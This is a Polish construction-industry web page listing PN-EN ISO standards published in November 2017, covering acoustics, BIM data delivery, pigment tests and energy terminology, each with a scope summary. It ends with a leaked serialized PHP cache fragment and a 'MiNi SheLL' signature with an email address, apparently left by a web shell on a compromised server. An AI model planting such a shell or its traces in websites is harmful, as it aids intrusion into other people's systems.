	ISO 10848 (wszystkie części) określa metody pomiarów, w celu scharakteryzowania przenoszenia bocznego przez jeden lub kilku elementów budowlanych. Niniejszy dokument zawiera jedynie pomiary laboratoryjne.</p>
<p>
	Mierzone wielkości mogą być zastosowane w celu porównania różnych wyrobów lub do przedstawienia wymagań lub jako dane wejściowe w metodach prognozowania, takich jak ISO 12354-1 i ISO 12354-2. Jednakże, wielkości mierzone Dn,f, Ln,f oraz Lne0,f reprezentują jedynie właściwości z wymiarami dla badanych elementów opisanych w niniejszym dokumencie.</p>
<p>
	Niniejszy dokument jest odniesieniem do ISO 10848-1:2017, 4.5, będąc częścią uzupełniającą dokumentu ramowego. Dotyczy ona elementów typu B zdefiniowanych w ISO 10848-1, takich jak podwieszane sufity, podniesione podłogi, lekkie jednolite ściany zewnętrzne i podłogi pływające. Przenoszenie z jednej komory do drugiej może odbywać się jednocześnie przez badany element i przez pustkę, jeśli taka istnieje. Przeprowadzając pomiary zgodnie z tym dokumentem, mierzy się całkowite przenoszenie dźwięku i nie jest możliwe rozdzielenie dwóch rodzajów przenoszenia.<br />
	<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN ISO 10848-3:2017-11 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>28-11-2017</p>
<p>
	Akustyka -- Pomiary laboratoryjne przenoszenia bocznego dźwięków powietrznych, uderzeniowych i od wyposażenia technicznego budynków pomiędzy przylegającymi komorami -- Część 3: Przypadek elementów typu B, kiedy złącze ma znaczący wpływ</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	ISO 10848 (wszystkie części) określa metody pomiarów, w celu scharakteryzowania przenoszenia bocznego przez jeden lub kilku elementów budowlanych.</p>
<p>
	Niniejszy dokument określa pomiary laboratoryjne i terenowe budynków z elementami typu B (określone w ISO 10848-1) w przypadku znaczącego wpływu złącza.</p>
<p>
	Pomiary laboratoryjne stosowane są do określenia właściwości złącza z wytłumionym przenoszeniem bocznym w strukturach laboratorium. Pomiary terenowe stosowane są, aby charakteryzować parametry in situ gdzie nie jest możliwe wytłumienie przenoszenia bocznego; skutkiem tego wyniki mogą być rozpatrywane jedynie jako reprezentatywne tylko właściwości danego złącza w określonej strukturze budynku.</p>
<p>
	Niniejszy dokument jest odniesieniem normy ISO 10848-1:2017, 4.5, będąc częścią uzupełniającą dokumentu ramowego i dotyczy elementów typu B, które są połączone strukturalnie jak określono w ISO 10848-1.</p>
<p>
	Mierzone wielkości mogą być zastosowane w celu porównania różnych wyrobów lub do przedstawienia wymagań lub jako dane wejściowe w metodach prognozowania, takich jak ISO 12354-1 i ISO 12354-2.</p>
<p>
	Odpowiednie wielkości, które będą przedmiotem pomiarów wybiera się zgodnie z ISO 10848-1:2017, 4.5. Właściwości budowlanych części składowych wyraża się albo za pomocą wielkości ogólnej charakteryzującej układ elementów i złącza (tak jak Dn,f i/lub Ln,f) lub jako uśredniona po kierunku różnica poziomów prędkości złącza Dvn,ij. Dn,f,ij, Ln,f,ij oraz Dvn,ij zależą od rzeczywistych wymiarów elementów.<br />
	<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN ISO 10848-4:2017-11 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>28-11-2017</p>
<p>
	Akustyka -- Pomiary laboratoryjne przenoszenia bocznego dźwięków powietrznych, uderzeniowych i od wyposażenia technicznego budynków pomiędzy przylegającymi komorami -- Część 4: Przypadek złączy z co najmniej jednym elementem typu A</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	ISO 10848 (wszystkie części) określa metody pomiaru w celu scharakteryzowania przenoszenia bocznego przez jeden lub kilku elementów budowlanych.</p>
<p>
	Niniejszy dokument określa pomiary laboratoryjne i terenowe w budynkach gdzie przynajmniej jeden z elementów badanej konstrukcji jest elementem typu A (określonym w ISO 10848-1).</p>
<p>
	Pomiary laboratoryjne stosowane są do określenia właściwości złącza z wytłumionym przenoszeniem bocznym w strukturach laboratorium. Pomiary terenowe stosowane są, aby charakteryzować parametry in situ gdzie nie jest możliwe wytłumienie przenoszenia bocznego; skutkiem tego wyniki mogą być rozpatrywane jedynie jako reprezentatywne tylko właściwości danego złącza w określonej strukturze budynku.</p>
<p>
	Mierzone wielkości mogą być zastosowane w celu porównania różnych wyrobów lub do przedstawienia wymagań lub jako dane wejściowe w metodach prognozowania, takich jak ISO 12354-1 i ISO 12354-2.<br />
	<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN ISO 29481-1:2017-11 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>28-11-2017</p>
<p>
	Modele informacji o budynku -- Podręcznik dostarczania danych -- Część 1: Metodologia i format</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Niniejsza część ISO 29481określa</p>
<p>
	- metodologię, która łączy działania podejmowanie w procesie budowy obiektów (budowlanych) ze specyfikacją informacji wymaganych przez te procesy, i<br />
	- sposób tworzenia informacji niezbędnych w całym cyklu życia obiektu budowlanego.</p>
<p>
	Niniejsza część ISO 29481 jest przeznaczona do ułatwienia wzajemnych relacji procesów i oddziaływań występujących we wszystkich etapach całego cyklu życia obiektu budowlanego włącznie z etapem koncepcji, projektowania, tworzenia dokumentacji budowy, wyposażenia, użytkowania i rozbiórki. Norma promuje stosowanie metod cyfrowych przy współpracy wszystkich uczestników procesu budowlanego i tworzy podstawę dla wymiany informacji charakteryzujących się rzetelnością, dokładnością i wysoką jakością.<br />
	<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN ISO 787-17:2017-11 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>16-11-2017</p>
<p>
	Ogólne metody badań pigmentów i wypełniaczy -- Część 17: Porównanie mocy rozjaśniającej białych pigmentów</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej części ISO 787 ustalono ogólną metodę badań służącą do porównywania mocy rozjaśniającej białego pigmentu z mocą rozjaśniającą uzgodnionej próbki tego samego typu.</p>
<p>
	Opisano dwie procedury (A i B). Procedura A jest szybsza niż procedura B i nadaje się do badania jednej próbki pigmentu; procedura B jest lepsza do badania kilku próbek, a szczególnie w przypadku, jeśli nie jest znana moc rozjaśniająca badanego pigmentu.</p>
<p>
	UWAGA Jeśli niniejsza ogólna metoda nadaje się do zastosowania dla danego pigmentu, w Normie Międzynarodowej dotyczącej tego pigmentu będzie tylko umieszczony odsyłacz do niej, ze wskazaniem wszystkich szczegółowych modyfikacji, które mogą być konieczne ze względu na specyficzne właściwości przedmiotowego pigmentu. Tylko w przypadku, gdy niniejsza ogólna metoda nie nadaje się do zastosowania dla określonego pigmentu ustala się specjalną metodę do porównywania mocy rozjaśniającej białych pigmentów.<br />
	<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN ISO 787-1:2017-11 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>15-11-2017</p>
<p>
	Ogólne metody badań pigmentów i wypełniaczy -- Część 1: Porównywanie barwy pigmentów</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	1.1 W niniejszej części ISO 878 ustalono ogólną metodę badań służącą do porównywania barwy barwnych pigmentów z barwą uzgodnionej próbki.</p>
<p>
	1.2 Każda z procedur jest akceptowalna, ale metodą odniesienia jest metoda wykorzystująca automatyczny kamień do rozcierania.</p>
<p>
	UWAGA – Jeśli niniejsza ogólna metoda nadaje się do zastosowania dla danego pigmentu, zaleca się tylko umieścić odsyłacz do niej w Normie Międzynarodowej dotyczącej tego pigmentu, ze wskazaniem wszystkich szczegółowych modyfikacji, które mogą być konieczne ze względu na specyficzne właściwości przedmiotowego materiału. Tylko w przypadku, gdy podane w niniejszej metodzie ogólnej procedury nie nadają się do zastosowania dla określonego materiału zaleca się ustalić specjalną metodę porównania barwy.<br />
	<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN ISO 787-21:2017-11 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji:</strong> 16-11-2017</p>
<p>
	Ogólne metody badań pigmentów i wypełniaczy -- Część 21: Porównywanie termicznej stabilności pigmentów przy użyciu ośrodka grzewczego</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej części ISO 787 ustalono ogólną metodę badań służącą do porównywania termicznej stabilności badanego pigmentu z termiczną stabilnością uzgodnionej próbki.</p>
<p>
	UWAGA – Jeśli niniejsza ogólna metoda nadaje się do zastosowania dla danego pigmentu, zaleca się tylko umieścić odsyłacz do niej w Normie Międzynarodowej dotyczącej tego pigmentu, ze wskazaniem wszystkich szczegółowych modyfikacji, które mogą być konieczne ze względu na specyficzne właściwości przedmiotowego pigmentu. Tylko w przypadku, gdy niniejsza ogólna metoda nie nadaje się do zastosowania dla określonego pigmentu zaleca się ustalić specjalną metodę do porównywania stabilności termicznej.<br />
	<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN ISO 787-22:2017-11 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji:</strong> 24-11-2017</p>
<p>
	Ogólne metody badań pigmentów i wypełniaczy -- Część 22: Porównywanie odporności pigmentów na krwawienie</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej części ISO 787 ustalono ogólną metodę badań służącą do porównywania odporności pigmentu na krwawienie z odpornością na krwawienie uzgodnionej próbki.</p>
<p>
	UWAGA – Jeśli niniejsza ogólna metoda nadaje się do zastosowania dla danego pigmentu, zaleca się tylko umieścić odsyłacz do niej w Normie Międzynarodowej dotyczącej tego pigmentu, ze wskazaniem wszystkich szczegółowych modyfikacji, które mogą być konieczne ze względu na specyficzne właściwości przedmiotowego pigmentu. Tylko w przypadku, gdy niniejsza ogólna metoda nie nadaje się do zastosowania dla określonego pigmentu zaleca się ustalić specjalną metodę do porównywania odporności na krwawienie.<br />
	<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN ISO 787-4:2017-11 - wersja angielska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>15-11-2017</p>
<p>
	Ogólne metody badań pigmentów i wypełniaczy -- Część 4: Oznaczanie kwasowości lub zasadowości wodnego ekstraktu</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej części ISO 787 ustalono ogólną metodę badań służącą do oznaczania kwasowości lub zasadowości wodnego ekstraktu próbki pigmentu lub wypełniacza.</p>
<p>
	UWAGA – Jeśli niniejsza ogólna metoda nadaje się do zastosowania dla danego pigmentu lub wypełniacza, zaleca się tylko umieścić odsyłacz do niej w Normie Międzynarodowej dotyczącej tego pigmentu lub wypełniacza, ze wskazaniem wszystkich szczegółowych modyfikacji, które mogą być konieczne ze względu na specyficzne właściwości przedmiotowego materiału. Tylko w przypadku, gdy niniejsza ogólna metoda nie nadaje się do zastosowania dla określonego materiału zaleca się ustalić specjalną metodę oznaczania kwaskowatości lub zasadowości.<br />
	<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN ISO/IEC 13273-1:2016-03 - wersja polska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>20-11-2017</p>
<p>
	Efektywność energetyczna i odnawialne źródła energii -- Wspólna międzynarodowa terminologia -- Część 1: Efektywność energetyczna</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej części ISO/IEC 13273 podano przekrojowe pojęcia i ich definicje z obszaru efektywności energetycznej. Niniejsza norma horyzontalna jest przeznaczona przede wszystkim do stosowania przez komitety techniczne przy opracowywaniu norm zgodnie z zasadami ustanowionymi w IEC Guide 108.</p>
<p>
	Przy opracowywaniu swoich publikacji, komitety techniczne są odpowiedzialne między innymi za korzystanie, w stosownych przypadkach, z norm horyzontalnych. Treść niniejszej normy horyzontalnej nie będzie miała zastosowania, dopóki nie zostanie powołana lub włączona do odpowiednich publikacji.<br />
	<br />
	 </p>
<h4>
	<span style="color:#ff8c00;"><strong>PN-EN ISO/IEC 13273-2:2016-03 - wersja polska</strong></span></h4>
<p>
	<strong>Data publikacji: </strong>17-11-2017</p>
<p>
	Efektywność energetyczna i odnawialne źródła energii -- Wspólna międzynarodowa terminologia -- Część 2: Odnawialne źródła energii</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej części ISO/IEC 13273 podano przekrojowe pojęcia i ich definicje z obszaru odnawialnych źródeł energii. Niniejsza norma horyzontalna jest przeznaczona przede wszystkim do stosowania przez komitety techniczne przy opracowywaniu norm zgodnie z zasadami ustanowionymi w IEC Guide 108.</p>
<p>
	Przy opracowywaniu swoich publikacji, komitety techniczne są odpowiedzialne między innymi za korzystanie, w stosowanych przypadkach, z norm horyzontalnych. Treść niniejszej normy horyzontalnej nie będzie miała zastosowania, dopóki nie zostanie powołana lub włączona do odpowiednich publikacji.</p>
<p>
	 </p>
<hr />
<p style="text-align:right;">
	Zestawienie zostało opracowane przez Redakcję Budownictwo.org/Budowa.org<br />
	na podstawie ogólnodostępnych informacji publikowanych przez PKN</p>                        
                         
 
                        <div class="googleads-article">
<!-- script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script -->
<!-- vManager - w treści artykułu 2 -->
<ins class="adsbygoogle"
     style="display:block"
     data-ad-client="ca-pub-6177099932506559"
     data-ad-slot="9192484574"
     data-ad-format="auto"
     data-full-width-responsive="true"></ins>
<script>
     (adsbygoogle = window.adsbygoogle || []).push({});
</script>
                        </div>


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            
                      
                        
                        
                    
                                        <div class="portal-light-background p1em mt1" itemprop="author" itemscope itemtype="https://schema.org/Person">
                        <strong>Źródło:</strong> 
                        <span itemprop="name">
                                                            <a href="http://www.pkn.pl" target="_blank">
                                                    
                            Polski Komitet Normalizacyjny                                                        
                                                            </a>
                                                    </span>
                        <br>
                    </div>
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=branża+budowlana" class="label label-default">branża budowlana</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Polski+Komitet+Normalizacyjny" class="label label-default">Polski Komitet Normalizacyjny</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Polskie+Normy" class="label label-default">Polskie Normy</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=zestawienie" class="label label-default">zestawienie</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=listopad+2017" class="label label-default">listopad 2017</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.budowa.org/artykuly/szczegoly/53411_polskie-normy-dotyczace-branzy-budowlanej-listopad-2017" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                    
                    <div id="articles">    
                        
                    
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:2:{i:0;s:13:"article_53411";i:1;s:8:"articles";}s:4:"data";a:2:{s:32:"30ae98953230432ee99df0b7ce5a514c";s:21:"0.21448000 1746704255";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com